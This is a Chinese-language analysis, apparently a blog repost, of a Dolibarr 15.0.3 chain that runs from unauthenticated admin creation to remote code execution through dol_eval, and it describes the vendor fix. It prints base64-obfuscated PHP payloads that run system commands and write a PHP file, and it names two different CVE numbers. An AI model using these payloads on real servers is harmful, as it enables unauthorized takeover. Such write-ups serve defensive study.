CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析
CVE编号:CVE-2022-2633
漏洞描述:Dolibarr edit.php 存在远程命令执行漏洞,攻击者通过逻辑漏洞创建管理员后可以通过后台漏洞获取服务器权限
影响版本:<= 15.0.3
环境搭建
源码下载地址:https://github.com/Dolibarr/dolibarr/archive/refs/tags/15.0.3.zip
解压到web目录下直接访问~/htdocs/
即可
然后配置一下conf/conf.php即可进行安装
漏洞分析
任意管理员用户注册
其实就是没有合理的路由控制,导致几乎所有文件都能访问到,也没做什么鉴权,导致可以直接访问到http://127.0.0.1:1478/htdocs/install/step4.php去添加管理员
后台RCE
后台RCE的最后点在htdocs/core/lib/functions.lib.php
的dol_eval()
函数
但是这里是有waf的,把大多数的危险函数都给ban了,并且用正则表达式进行了好几层的过滤
这个函数在上面的verifCond被调用了
function verifCond($strToEvaluate)
{
global $user, $conf, $langs;
global $leftmenu;
global $rights; // To export to dol_eval function
//print $strToEvaluate."<br>\n";
$rights = true;
if (isset($strToEvaluate) && $strToEvaluate !== '') {
$str = 'if(!('.$strToEvaluate.')) $rights = false;';
dol_eval($str, 0, 1, '2');
}
return $rights;
}
再寻找这个函数在哪里调用
在menubase.class.php的menuLoad()
函数中就存在调用
可以看到这里verifCond
代码虽然是可控的,但是是从数据库中查询的结果中获取的
关注perms
和enable
,这两个都是可以直接进入verifCond的
我们去前面看看这里执行的sql语句,他是从".MAIN_DB_PREFIX."menu
表中查询的数据,但是有WHERE条件语句
m.entity IN (0,".$conf->entity.")
m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')
entity
字段的值可以等于 0
或等于当前配置的 entity
值,menu_handler
字段的值等于 $menu_handler
变量的值或者 all
接下来发现menu_handler
在执行menuLoad
函数的时候都是把写死的值填进去
所以我们如果能找到一个INSERT进".MAIN_DB_PREFIX."menu
中、可以控制perms
和enable
字段并且entity
和menu_handler
能满足WHERE条件的语句即可,这里注意entity来源于$conf->entity
INSERT\s+INTO\s+"\.MAIN_DB_PREFIX\."menu
的确存在这么个点,在同一个文件的create()
函数
接下来得看看参数是否可控,这里的VALUES设定为成员属性,但是entity是$conf->entity
,这里就直接满足了上面的where条件
所以这两个WHERE条件都解决了,剩下就是看perms
和enable
是否可控了,在类内部没看到有对成员变量赋值的地方,所以还得全局搜索一下
发现perms
和enable
在menus/edit.php
中都是可以直接控制的,这个menu对象就是刚刚的那个类$menu = new Menubase($db)
经过调试发现,这里menuId需要唯一否则会冲突无法写入数据库,这里的type需要设置为1,否则也会报错
这个文件也是未授权的,可以直接构造调用到这里
接下来就可以研究一下,如何去绕过waf执行eval,这里作者的做法是利用php的特性:变量函数
// file_put_contents
$a=base64_decode('ZmlsZV9wdXRfY29udGVudHM=');
// shellcode
$a('.1234.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+Cg=='));
再往前看verifCond
函数
这里进行了一个字符串的拼接,由于是执行eval的,所以我们可以去闭合他的括号,注释掉后面的代码
function verifCond($strToEvaluate)
{
global $user, $conf, $langs;
global $leftmenu;
global $rights; // To export to dol_eval function
//print $strToEvaluate."<br>\n";
$rights = true;
if (isset($strToEvaluate) && $strToEvaluate !== '') {
$str = 'if(!('.$strToEvaluate.')) $rights = false;';
dol_eval($str, 0, 1, '2');
}
return $rights;
}
也就是这样的一个payload
1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);//
漏洞修复
这里作者对于漏洞的修复一个是verifCond函数的加固
这里取消了字符串的拼接且让dol_eval的第四个参数为"1"
这样就会走入下面的这个判断,看注释这里的正则就是为了防止RCE而设计的
一个是dol_eval
函数的加强,这里forbiddenphpfunctions
里添加了verifCond
函数,直接禁止了verifCond
的执行
跟了一遍,几乎是转载了:https://blog.huamang.xyz/post/cve-2022-40871/#%E5%90%8E%E5%8F%B0rce